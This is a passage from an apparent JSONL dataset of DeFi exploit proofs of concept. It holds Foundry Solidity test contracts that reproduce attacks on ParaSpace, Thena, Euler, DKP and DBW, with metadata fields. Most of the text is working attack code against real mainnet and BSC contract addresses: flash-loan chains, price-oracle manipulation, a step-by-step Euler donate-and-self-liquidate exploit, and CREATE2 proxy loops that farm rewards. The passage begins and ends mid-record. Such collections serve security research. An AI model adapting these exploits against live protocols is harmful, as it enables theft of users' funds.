type(uint256).max)));\n\n // exactInputSingle(ExactInputSingleParams calldata params) -> (uint256 amountOut)\n ExactInputSingleParams memory _var9 = ExactInputSingleParams({\n tokenIn: _USDC,\n tokenOut: _WETH,\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp + 1000,\n amountIn: IERC20(_USDC).balanceOf(address(this)),\n amountOutMinimum: 4_042_105_262,\n sqrtPriceLimitX96: 0\n });\n _Uniswap_V3__Router.call(abi.encodePacked(bytes4(0x414bf389), abi.encode(_var9)));\n\n // approve(spender, amount) -> (bool _: true) --- TOTAL DEBT TO PAY THE LOAN\n _wstETH.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_proxy, uint256(47_376_500_316_957_210_776_543))));\n\n // exactOutputSingle(ExactOutputSingleParams calldata params) -> (uint256 amountOut)\n ExactOutputSingleParams memory _var11 = ExactOutputSingleParams({\n tokenIn: _WETH,\n tokenOut: _wstETH,\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp + 1000,\n amountOut: 47_376_500_316_957_210_776_543 - IERC20(_wstETH).balanceOf(address(this)),\n amountInMaximum: 2_675_071_643_612_383_606_774,\n sqrtPriceLimitX96: 0\n });\n _Uniswap_V3__Router.call(abi.encodePacked(bytes4(0xdb3e2198), abi.encode(_var11)));\n\n // true\n return true;\n }\n\n receive() external payable {}\n}\n\ncontract Slave {\n address _wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;\n address _cAPE = 0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF;\n address _ParaProxy = 0x638a98BBB92a7582d07C52ff407D49664DC8b3Ee;\n\n constructor() {\n // approve(spender, amount) -> (bool _: true)\n (, bytes memory returned0) =\n _wstETH.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_ParaProxy, type(uint256).max)));\n bool _var0 = abi.decode(returned0, (bool));\n }\n\n function remove(\n uint256 _amountOfShares\n ) public payable {\n // supply(asset, amount, onBehalfOf, referralCode) -> ()\n _ParaProxy.call(\n abi.encodePacked(\n bytes4(0x617ba037),\n abi.encode(_wstETH, IERC20(_wstETH).balanceOf(address(this)), address(this), uint256(0))\n )\n );\n\n // borrow(asset, amount, referralCode, onBehalfOf) -> ()\n _ParaProxy.call(\n abi.encodePacked(bytes4(0x1d5d7237), abi.encode(_cAPE, uint256(_amountOfShares), uint256(0), address(this)))\n );\n\n // transfer(recipient, amount) -> (bool _: true)\n _cAPE.call(abi.encodePacked(bytes4(0xa9059cbb), abi.encode(msg.sender, IERC20(_cAPE).balanceOf(address(this)))));\n }\n}\n", "type": "exploit_poc", "protocol": "paraspace", "date": "2023-03", "file_name": "paraspace_exp.sol", "attack_vector": null, "content_hash": "27c1e58db3705c21", "collected_at": "2026-01-07T10:59:16.548143", "_source": "postmortems", "chain": "ethereum", "block_number": 16845558, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3, "quality_estimate": "low", "title": "paraspace Exploit (2023-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/LTV888/status/1640563457094451214?t=OBHfonYm9yYKvMros6Uw_g&s=19\n// @Tx\n// https://bscscan.com/tx/0xdf6252854362c3e96fd086d9c3a5397c303d265649aee0b023176bb49cf00d4b\n\ninterface IThenaRewardPool {\n function unstake(address, uint256, address, bool) external;\n}\n\ninterface IVolatileV1 {\n function metadata()\n external\n view\n returns (uint256 dec0, uint256 dec1, uint256 r0, uint256 r1, bool st, address t0, address t1);\n function claimFees() external returns (uint256, uint256);\n function tokens() external view returns (address, address);\n function transferFrom(address src, address dst, uint256 amount) external returns (bool);\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n function mint(\n address to\n ) external returns (uint256 liquidity);\n function getReserves() external view returns (uint256 _reserve0, uint256 _reserve1, uint256 _blockTimestampLast);\n function getAmountOut(uint256, address) external view returns (uint256);\n\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function totalSupply() external view returns (uint256);\n function decimals() external view returns (uint8);\n\n function claimable0(\n address _user\n ) external view returns (uint256);\n function claimable1(\n address _user\n ) external view returns (uint256);\n\n function isStable() external view returns (bool);\n}\n\ncontract ContractTest is Test {\n IERC20 THENA = IERC20(0xF4C8E32EaDEC4BFe97E0F595AdD0f4450a863a11);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);\n IERC20 wUSDR = IERC20(0x2952beb1326acCbB5243725bd4Da2fC937BCa087);\n IThenaRewardPool pool = IThenaRewardPool(0x39E29f4FB13AeC505EF32Ee6Ff7cc16e2225B11F);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Router_V2 Router = Uni_Router_V2(0x20a304a7d126758dfe6B243D0fc515F83bCA8431);\n Uni_Pair_V2 USDC_BUSD = Uni_Pair_V2(0x618f9Eb0E1a698409621f4F487B563529f003643);\n IVolatileV1 wUSDR_USDC = IVolatileV1(0xA99c4051069B774102d6D215c6A9ba69BD616E6a);\n\n MockThenaRewardPool mock;\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 26_834_149);\n cheats.label(address(THENA), \"THENA\");\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(BUSD), \"BUSD\");\n cheats.label(address(pool), \"ThenaRewardPool\");\n cheats.label(address(Router), \"UniV2Router\");\n cheats.label(address(USDC_BUSD), \"USDC_BUSD\");\n cheats.label(address(wUSDR), \"wUSDR\");\n cheats.label(address(wUSDR_USDC), \"wUSDR_USDC\");\n }\n\n function testExploit() external {\n mock = new MockThenaRewardPool();\n emit log_named_decimal_uint(\n \"Attacker BUSD balance after exploit\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }\n}\n\ncontract MockThenaRewardPool {\n IThenaRewardPool pool = IThenaRewardPool(0x39E29f4FB13AeC505EF32Ee6Ff7cc16e2225B11F);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n\n constructor() {\n unstake(address(BUSD), 0, address(this), true);\n }\n\n function unstake(address _token, uint256 _amount, address _pool, bool _sign) internal {\n pool.unstake(_token, _amount, _pool, _sign);\n BUSD.transfer(msg.sender, BUSD.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Thena", "date": "2023-03", "file_name": "Thena_exp.sol", "attack_vector": null, "content_hash": "38d854709b4b850a", "collected_at": "2026-01-07T10:59:16.548237", "_source": "postmortems", "chain": "bsc", "block_number": 26834149, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.97, "quality_estimate": "low", "title": "Thena Exploit (2023-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/FrankResearcher/status/1635241475989721089\n// https://twitter.com/nomorebear/status/1635230621856600064\n// https://twitter.com/peckshield/status/1635229594596036608\n// https://twitter.com/BlockSecTeam/status/1635262150624305153\n// https://twitter.com/SlowMist_Team/status/1635288963580825606\n// @TX\n// https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d\n// @Summary\n// 1) Flash loan tokens from Balancer/Aave v2 => 30M DAI\n// 2) Deploy two contracts: violator and liquidator\n// 3) Deposit 2/3 of funds to Euler using deposit() => sent 20M DAI to Euler and received 19.5M eDAI from Euler\n// 4) Borrow 10x of deposited amount using mint() => received 195.6M eDAI and 200M dDAI from Euler\n// 5) Repay part of debt using the remaining 1/3 of funds using repay() => sent 10M DAI and burned 10M dDAI\n// 6) Repeat 4th step => received 195.6M eDAI and 200M dDAI from Euler\n// 7) Donate 10x of repaid funds using donateToReserves() => sent 100M eDAI to Euler\n// 8) Liquidate a violator\u2019s account using liquidate() because eDAI < dDAI => received 310M eDAI and 259M dDAI of debt from the violator\n// 9) Withdraw all token amount from Euler using withdraw() => withdrew 38.9M DAI from Euler\n// 10) Repay flash loans\n\ninterface EToken {\n function deposit(uint256 subAccountId, uint256 amount) external;\n function mint(uint256 subAccountId, uint256 amount) external;\n function donateToReserves(uint256 subAccountId, uint256 amount) external;\n function withdraw(uint256 subAccountId, uint256 amount) external;\n}\n\ninterface DToken {\n function repay(uint256 subAccountId, uint256 amount) external;\n}\n\ninterface IEuler {\n struct LiquidationOpportunity {\n uint256 repay;\n uint256 yield;\n uint256 healthScore;\n uint256 baseDiscount;\n uint256 discount;\n uint256 conversionRate;\n }\n\n function liquidate(\n address violator,\n address underlying,\n address collateral,\n uint256 repay,\n uint256 minYield\n ) external;\n function checkLiquidation(\n address liquidator,\n address violator,\n address underlying,\n address collateral\n ) external returns (LiquidationOpportunity memory liqOpp);\n}\n\ncontract ContractTest is Test {\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);\n DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);\n IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);\n IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);\n address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;\n Iviolator violator;\n Iliquidator liquidator;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_817_995);\n cheats.label(address(DAI), \"DAI\");\n cheats.label(address(eDAI), \"eDAI\");\n cheats.label(address(dDAI), \"dDAI\");\n cheats.label(address(Euler), \"Euler\");\n cheats.label(address(AaveV2), \"AaveV2\");\n }\n\n function testExploit() public {\n uint256 aaveFlashLoanAmount = 30_000_000 * 1e18;\n address[] memory assets = new address[](1);\n assets[0] = address(DAI);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = aaveFlashLoanAmount;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n bytes memory params =\n abi.encode(30_000_000, 200_000_000, 100_000_000, 44_000_000, address(DAI), address(eDAI), address(dDAI));\n AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), params, 0);\n\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initator,\n bytes calldata params\n ) external returns (bool) {\n DAI.approve(address(AaveV2), type(uint256).max);\n violator = new Iviolator();\n liquidator = new Iliquidator();\n DAI.transfer(address(violator), DAI.balanceOf(address(this)));\n violator.violator();\n liquidator.liquidate(address(liquidator), address(violator));\n return true;\n }\n}\n\ncontract Iviolator {\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);\n DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);\n IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);\n address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;\n\n function violator() external {\n DAI.approve(Euler_Protocol, type(uint256).max);\n eDAI.deposit(0, 20_000_000 * 1e18);\n eDAI.mint(0, 200_000_000 * 1e18);\n dDAI.repay(0, 10_000_000 * 1e18);\n eDAI.mint(0, 200_000_000 * 1e18);\n eDAI.donateToReserves(0, 100_000_000 * 1e18);\n }\n}\n\ncontract Iliquidator {\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);\n DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);\n IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);\n address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;\n\n function liquidate(address liquidator, address violator) external {\n IEuler.LiquidationOpportunity memory returnData =\n Euler.checkLiquidation(liquidator, violator, address(DAI), address(DAI));\n Euler.liquidate(violator, address(DAI), address(DAI), returnData.repay, returnData.yield);\n eDAI.withdraw(0, DAI.balanceOf(Euler_Protocol));\n DAI.transfer(msg.sender, DAI.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Euler", "date": "2023-03", "file_name": "Euler_exp.sol", "attack_vector": "flash_loan", "content_hash": "7ece83371eb2b977", "collected_at": "2026-01-07T10:59:16.548307", "_source": "postmortems", "chain": "ethereum", "block_number": 16817995, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n uint256 aaveFlashLoanAmount = 30_000_000 * 1e18;\n address[] memory assets = new address[](1);\n assets[0] = address(DAI);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = aaveFlashLoanAmount;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n bytes memory params =\n abi.encode(30_000_000, 200_000_000, 100_000_000, 44_000_000, address(DAI), address(eDAI), address(dDAI));\n AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), params, 0);\n\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "Euler Exploit (2023-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/CertiKAlert/status/1633421908996763648\n// @TX\n// https://bscscan.com/tx/0x0c850f54c1b497c077109b3d2ef13c042bb70f7f697201bcf2a4d0cb95e74271\n// https://bscscan.com/tx/0x2d31e45dce58572a99c51357164dc5283ff0c02d609250df1e6f4248bd62ee01\n// @Summary\n// There is an exchange method in the 0x89257 closed source contract for users to swap USDT for DKP tokens,\n// but the price Oracle used is the ratio of the balance of the two tokens in the USDT-DKP pair,\n// and the attacker manipulates this price through flashLoan, swapping a very small amount of USDT for a large amount of DKP and selling it for a profit\n\ninterface IDKPExchange {\n function exchange(\n uint256 amount\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 DKP = IERC20(0xd06fa1BA7c80F8e113c2dc669A23A9524775cF19);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xBE654FA75bAD4Fd82D3611391fDa6628bB000CC7);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IDKPExchange DKPExchange = IDKPExchange(0x89257A52Ad585Aacb1137fCc8abbD03a963B9683);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 26_284_131);\n cheats.label(address(DKP), \"DKP\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(Pair), \"Pair\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(DKPExchange), \"DKPExchange\");\n }\n\n function testExploit() public {\n deal(address(USDT), address(this), 800 * 1e18);\n exchangeDKP();\n DKPToUSDT();\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)) - 800 * 1e18, USDT.decimals()\n );\n }\n\n function exchangeDKP() internal {\n uint256 flashAmount = USDT.balanceOf(address(Pair)) * 9992 / 10_000;\n Pair.swap(flashAmount, 0, address(this), abi.encode(flashAmount));\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n bytes memory contractByteCode = type(ExchangeDKP).creationCode;\n uint256 salt = uint256(keccak256(\"salt\"));\n address receiver = getAddress(contractByteCode, salt);\n USDT.transfer(receiver, 100 * 1e18);\n new ExchangeDKP{salt: keccak256(\"salt\")}();\n uint256 returnAmount = abi.decode(data, (uint256)) * 10_000 / 9975 + 1000;\n USDT.transfer(address(Pair), returnAmount);\n }\n\n function DKPToUSDT() internal {\n DKP.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(DKP);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n DKP.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n return address(uint160(uint256(hash)));\n }\n}\n\ncontract ExchangeDKP {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 DKP = IERC20(0xd06fa1BA7c80F8e113c2dc669A23A9524775cF19);\n IDKPExchange DKPExchange = IDKPExchange(0x89257A52Ad585Aacb1137fCc8abbD03a963B9683);\n\n constructor() {\n USDT.approve(address(DKPExchange), type(uint256).max);\n DKPExchange.exchange(100 * 1e18);\n DKP.transfer(msg.sender, DKP.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "DKP", "date": "2023-03", "file_name": "DKP_exp.sol", "attack_vector": "flash_loan", "content_hash": "349a55e67ecf7790", "collected_at": "2026-01-07T10:59:16.548372", "_source": "postmortems", "chain": "bsc", "block_number": 26284131, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(USDT), address(this), 800 * 1e18);\n exchangeDKP();\n DKPToUSDT();\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)) - 800 * 1e18, USDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.91, "quality_estimate": "low", "title": "DKP Exploit (2023-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1639655134232969216\n// https://twitter.com/AnciliaInc/status/1639289686937210880\n// @TX\n// https://bscscan.com/tx/0x3b472f87431a52082bae7d8524b4e0af3cf930a105646259e1249f2218525607\n// @Summary\n// The root cause is that the dividend awards are based on the percentage of LP currently owned by the user,\n// and does not take into account multiple dividends after the transfer of LP.\n// @Similar events\n// https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main#20230103---gds---business-logic-flaw\n// https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main#20221001-rl-token---incorrect-reward-calculation\n\ninterface IDBW is IERC20 {\n function pledge_lp(\n uint256 count\n ) external;\n function getStaticIncome() external;\n function redemption_lp(\n uint256 count\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IDBW DBW = IDBW(0xBF5BAea5113e9EB7009a6680747F2c7569dfC2D6);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x69D415FBdcD962D96257056f7fE382e432A3b540);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address dodo1 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;\n address dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;\n address dodo3 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;\n address dodo4 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;\n Uni_Pair_V2 flashSwapPair = Uni_Pair_V2(0x618f9Eb0E1a698409621f4F487B563529f003643);\n uint256 dodo1FlashLoanAmount;\n uint256 dodo2FlashLoanAmount;\n uint256 dodo3FlashLoanAmount;\n uint256 dodo4FlashLoanAmount;\n uint256 PairFlashLoanAmount;\n claimRewardImpl RewardImpl;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 26_745_691);\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(DBW), \"DBW\");\n cheats.label(address(Pair), \"Pair\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(dodo1), \"dodo1\");\n cheats.label(address(dodo2), \"dodo2\");\n cheats.label(address(dodo3), \"dodo3\");\n cheats.label(address(dodo4), \"dodo4\");\n cheats.label(address(flashSwapPair), \"flashSwapPair\");\n }\n\n function testExploit() external {\n RewardImpl = new claimRewardImpl();\n dodo1FlashLoanAmount = USDT.balanceOf(dodo1);\n DVM(dodo1).flashLoan(0, dodo1FlashLoanAmount, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == dodo1) {\n dodo2FlashLoanAmount = USDT.balanceOf(dodo2);\n DVM(dodo2).flashLoan(0, dodo2FlashLoanAmount, address(this), new bytes(1));\n USDT.transfer(dodo1, dodo1FlashLoanAmount);\n } else if (msg.sender == dodo2) {\n dodo3FlashLoanAmount = USDT.balanceOf(dodo3);\n DVM(dodo3).flashLoan(0, dodo3FlashLoanAmount, address(this), new bytes(1));\n USDT.transfer(dodo2, dodo2FlashLoanAmount);\n } else if (msg.sender == dodo3) {\n dodo4FlashLoanAmount = USDT.balanceOf(dodo4);\n DVM(dodo4).flashLoan(0, dodo4FlashLoanAmount, address(this), new bytes(1));\n USDT.transfer(dodo3, dodo3FlashLoanAmount);\n } else if (msg.sender == dodo4) {\n PairFlashLoanAmount = 3_037_214_233_168_643_025_678_873;\n flashSwapPair.swap(PairFlashLoanAmount, 0, address(this), new bytes(1));\n USDT.transfer(dodo4, dodo4FlashLoanAmount);\n }\n }\n\n function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n USDT.approve(address(Router), type(uint256).max);\n DBW.approve(address(Router), type(uint256).max);\n Pair.approve(address(Router), type(uint256).max);\n USDTToDBW_AddLiquidity();\n miniProxyCloneFactory(address(RewardImpl));\n RemoveLiquidity_DBWToUSDT();\n USDT.transfer(address(flashSwapPair), PairFlashLoanAmount * 10_000 / 9999 + 1000);\n }\n\n function USDTToDBW_AddLiquidity() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(DBW);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 800_000 * 1e18, 0, path, address(this), block.timestamp\n );\n Router.addLiquidity(\n address(USDT),\n address(DBW),\n USDT.balanceOf(address(this)),\n DBW.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n\n function miniProxyCloneFactory(\n address impl\n ) internal {\n for (uint256 i; i < 18; ++i) {\n uint256 _salt = uint256(keccak256(abi.encodePacked(i)));\n bytes memory creationBytecode = getCreationBytecode(address(impl));\n address newImpl = getAddress(creationBytecode, _salt);\n Pair.transfer(newImpl, Pair.balanceOf(address(this)));\n // new miniProxy{salt: keccak256(\"salt\")}(impl);\n deploy(creationBytecode, _salt);\n (uint256 USDTReserve, uint256 DBWReserve,) = Pair.getReserves();\n uint256 DBWInPairAmount = DBW.balanceOf(address(Pair));\n uint256 USDTTransferAmount = DBWInPairAmount * USDTReserve / DBWReserve - USDTReserve;\n USDT.transfer(address(Pair), USDTTransferAmount);\n Pair.mint(address(this));\n }\n }\n\n function RemoveLiquidity_DBWToUSDT() internal {\n Router.removeLiquidity(\n address(USDT), address(DBW), Pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp\n );\n address[] memory path = new address[](2);\n path[0] = address(DBW);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n DBW.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function getCreationBytecode(\n address claimImpl\n ) public pure returns (bytes memory) {\n bytes memory bytecode = type(miniProxy).creationCode;\n return abi.encodePacked(bytecode, abi.encode(claimImpl));\n }\n\n function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n return address(uint160(uint256(hash)));\n }\n\n function deploy(bytes memory bytecode, uint256 _salt) internal {\n address addr;\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n }\n}\n\ncontract claimRewardImpl is Test {\n function exploit() public {\n IDBW DBW = IDBW(0xBF5BAea5113e9EB7009a6680747F2c7569dfC2D6);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x69D415FBdcD962D96257056f7fE382e432A3b540);\n Pair.approve(address(DBW), type(uint256).max);\n DBW.getStaticIncome();\n vm.warp(block.timestamp + 2 * 24 * 60 * 60); // bypass locktime Limit\n uint256 LPAmount = Pair.balanceOf(address(this));\n DBW.pledge_lp(LPAmount); // send LP\n DBW.getStaticIncome(); // claim reward\n DBW.redemption_lp(LPAmount); // redeem LP\n Pair.transfer(msg.sender, LPAmount);\n DBW.transfer(address(Pair), DBW.balanceOf(address(this)));\n }\n}\n\ncontract miniProxy {\n constructor(\n address claimRewardImpl\n ) {\n (bool success,) = claimRewardImpl.delegatecall(abi.encodeWithSignature(\"exploit()\"));\n require(success);\n selfdestruct(payable(tx.origin));\n }\n}\n", "type": "exploit_poc", "protocol": "DBW", "date": "2023-03", "file_name": "DBW_exp.sol", "attack_vector": "flash_loan", "content_hash": "ebb471d79f7cd17b", "collected_at": "2026-01-07T10:59:16.548422", "_source": "postmortems", "chain": "bsc", "block_number": 26745691, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "DBW Exploit (2023-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\nimport \"../StableMath.sol\";\n\n// @KeyInfo - Total Lost : 120M USD\n// Attacker : https://etherscan.io/address/0x506d1f9efe24f0d47853adca907eb8d89ae03207\n// Attack Contract : https://etherscan.io/address/0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d\n// Vulnerable Contract : \n// Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742\n// Withdrawal Tx: https://app.blocksec.com/explorer/tx/eth/0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : 